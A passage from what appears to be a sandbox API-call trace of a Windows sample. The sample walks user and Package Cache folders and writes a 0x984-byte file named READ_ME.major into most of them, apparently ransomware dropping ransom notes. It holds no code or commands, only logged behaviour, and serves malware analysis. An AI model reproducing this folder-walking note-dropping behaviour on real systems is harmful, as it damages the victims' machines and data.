ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0164.843] SetLastError (dwErrCode=0x12) [0164.843] GetLastError () returned 0x12 [0164.843] SetLastError (dwErrCode=0x12) [0164.843] SetLastError (dwErrCode=0x12) [0164.843] SetLastError (dwErrCode=0x12) [0164.843] GetLastError () returned 0x12 [0164.843] SetLastError (dwErrCode=0x12) [0164.843] GetLastError () returned 0x12 [0164.843] SetLastError (dwErrCode=0x12) [0164.843] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734 [0164.845] WriteFile (in: hFile=0x734, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.845] CloseHandle (hObject=0x734) returned 1 [0164.846] FindNextFileW (in: hFindFile=0x6542e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0164.846] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9ad719, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x654720 [0164.846] SetLastError (dwErrCode=0x12) [0164.846] GetLastError () returned 0x12 [0164.846] SetLastError (dwErrCode=0x12) [0164.846] GetLastError () returned 0x12 [0164.846] SetLastError (dwErrCode=0x12) [0164.846] FindNextFileW (in: hFindFile=0x654720, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9ad719, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.846] SetLastError (dwErrCode=0x12) [0164.846] GetLastError () returned 0x12 [0164.846] SetLastError (dwErrCode=0x12) [0164.846] GetLastError () returned 0x12 [0164.846] SetLastError (dwErrCode=0x12) [0164.846] FindNextFileW (in: hFindFile=0x654720, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a9ad719, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1a9ad719, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1a9ad719, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.846] SetLastError (dwErrCode=0x12) [0164.846] GetLastError () returned 0x12 [0164.846] SetLastError (dwErrCode=0x12) [0164.846] SetLastError (dwErrCode=0x12) [0164.846] FindNextFileW (in: hFindFile=0x654720, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0164.846] SetLastError (dwErrCode=0x12) [0164.846] GetLastError () returned 0x12 [0164.846] SetLastError (dwErrCode=0x12) [0164.846] SetLastError (dwErrCode=0x12) [0164.846] SetLastError (dwErrCode=0x12) [0164.846] GetLastError () returned 0x12 [0164.847] SetLastError (dwErrCode=0x12) [0164.847] GetLastError () returned 0x12 [0164.847] SetLastError (dwErrCode=0x12) [0164.847] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x738 [0164.849] WriteFile (in: hFile=0x738, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.850] CloseHandle (hObject=0x738) returned 1 [0164.850] FindNextFileW (in: hFindFile=0x654720, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0164.850] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\ActiveSync\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1bc8cdb9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6547e0 [0164.850] SetLastError (dwErrCode=0x12) [0164.850] GetLastError () returned 0x12 [0164.850] SetLastError (dwErrCode=0x12) [0164.850] GetLastError () returned 0x12 [0164.850] SetLastError (dwErrCode=0x12) [0164.851] FindNextFileW (in: hFindFile=0x6547e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1bc8cdb9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.851] SetLastError (dwErrCode=0x12) [0164.851] GetLastError () returned 0x12 [0164.851] SetLastError (dwErrCode=0x12) [0164.851] GetLastError () returned 0x12 [0164.851] SetLastError (dwErrCode=0x12) [0164.851] FindNextFileW (in: hFindFile=0x6547e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bc8cdb9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bc8cdb9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bc8cdb9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.851] SetLastError (dwErrCode=0x12) [0164.851] GetLastError () returned 0x12 [0164.851] SetLastError (dwErrCode=0x12) [0164.851] GetLastError () returned 0x12 [0164.851] SetLastError (dwErrCode=0x12) [0164.851] FindNextFileW (in: hFindFile=0x6547e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bc8cdb9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bc8cdb9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bc8cdb9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0164.851] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1bc8cdb9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x654360 [0164.851] SetLastError (dwErrCode=0x12) [0164.851] GetLastError () returned 0x12 [0164.852] SetLastError (dwErrCode=0x12) [0164.852] GetLastError () returned 0x12 [0164.852] SetLastError (dwErrCode=0x12) [0164.852] FindNextFileW (in: hFindFile=0x654360, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1bc8cdb9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.852] SetLastError (dwErrCode=0x12) [0164.852] GetLastError () returned 0x12 [0164.852] SetLastError (dwErrCode=0x12) [0164.852] GetLastError () returned 0x12 [0164.852] SetLastError (dwErrCode=0x12) [0164.852] FindNextFileW (in: hFindFile=0x654360, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0164.852] SetLastError (dwErrCode=0x12) [0164.852] GetLastError () returned 0x12 [0164.852] SetLastError (dwErrCode=0x12) [0164.852] GetLastError () returned 0x12 [0164.852] SetLastError (dwErrCode=0x12) [0164.852] SetLastError (dwErrCode=0x12) [0164.852] GetLastError () returned 0x12 [0164.852] SetLastError (dwErrCode=0x12) [0164.852] GetLastError () returned 0x12 [0164.852] SetLastError (dwErrCode=0x12) [0164.852] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x740 [0164.853] WriteFile (in: hFile=0x740, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.853] CloseHandle (hObject=0x740) returned 1 [0164.854] FindNextFileW (in: hFindFile=0x654360, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AcroCef", cAlternateFileName="")) returned 1 [0164.854] SetLastError (dwErrCode=0x0) [0164.854] GetLastError () returned 0x0 [0164.854] SetLastError (dwErrCode=0x0) [0164.854] GetLastError () returned 0x0 [0164.854] SetLastError (dwErrCode=0x0) [0164.854] SetLastError (dwErrCode=0x0) [0164.854] GetLastError () returned 0x0 [0164.854] SetLastError (dwErrCode=0x0) [0164.854] GetLastError () returned 0x0 [0164.854] SetLastError (dwErrCode=0x0) [0164.854] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x740 [0164.856] WriteFile (in: hFile=0x740, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.857] CloseHandle (hObject=0x740) returned 1 [0164.857] FindNextFileW (in: hFindFile=0x654360, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Color", cAlternateFileName="")) returned 1 [0164.857] SetLastError (dwErrCode=0x0) [0164.857] GetLastError () returned 0x0 [0164.857] SetLastError (dwErrCode=0x0) [0164.857] GetLastError () returned 0x0 [0164.857] SetLastError (dwErrCode=0x0) [0164.857] SetLastError (dwErrCode=0x0) [0164.857] GetLastError () returned 0x0 [0164.857] SetLastError (dwErrCode=0x0) [0164.857] GetLastError () returned 0x0 [0164.857] SetLastError (dwErrCode=0x0) [0164.857] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x740 [0164.858] WriteFile (in: hFile=0x740, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.859] CloseHandle (hObject=0x740) returned 1 [0164.859] FindNextFileW (in: hFindFile=0x654360, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bc8cdb9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bc8cdb9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bc8cdb9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.859] FindNextFileW (in: hFindFile=0x654360, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bc8cdb9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bc8cdb9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bc8cdb9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0164.859] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Application Data\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bc8cdb9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bc8cdb9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bc8cdb9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0xffffffff [0164.859] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\CEF\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bcb2fe3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x654860 [0164.859] FindNextFileW (in: hFindFile=0x654860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bcb2fe3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.860] FindNextFileW (in: hFindFile=0x654860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bc8cdb9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bc8cdb9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bcb2fe3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.860] FindNextFileW (in: hFindFile=0x654860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0164.860] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\cef\\user data\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0164.861] WriteFile (in: hFile=0x744, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.861] CloseHandle (hObject=0x744) returned 1 [0164.861] FindNextFileW (in: hFindFile=0x654860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 0 [0164.862] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1bcb2fe3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6546e0 [0164.862] FindNextFileW (in: hFindFile=0x6546e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1bcb2fe3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.862] FindNextFileW (in: hFindFile=0x6546e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bcb2fe3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bcb2fe3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bcb2fe3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.862] FindNextFileW (in: hFindFile=0x6546e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0164.862] FindNextFileW (in: hFindFile=0x6546e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Unistore", cAlternateFileName="")) returned 1 [0164.862] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistore\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x748 [0164.863] WriteFile (in: hFile=0x748, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.863] CloseHandle (hObject=0x748) returned 1 [0164.863] FindNextFileW (in: hFindFile=0x6546e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc12eebd3, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xc12eebd3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 1 [0164.864] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x748 [0164.896] WriteFile (in: hFile=0x748, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.897] CloseHandle (hObject=0x748) returned 1 [0164.897] FindNextFileW (in: hFindFile=0x6546e0, lpFindFileData=0x2e3fb24 | out: 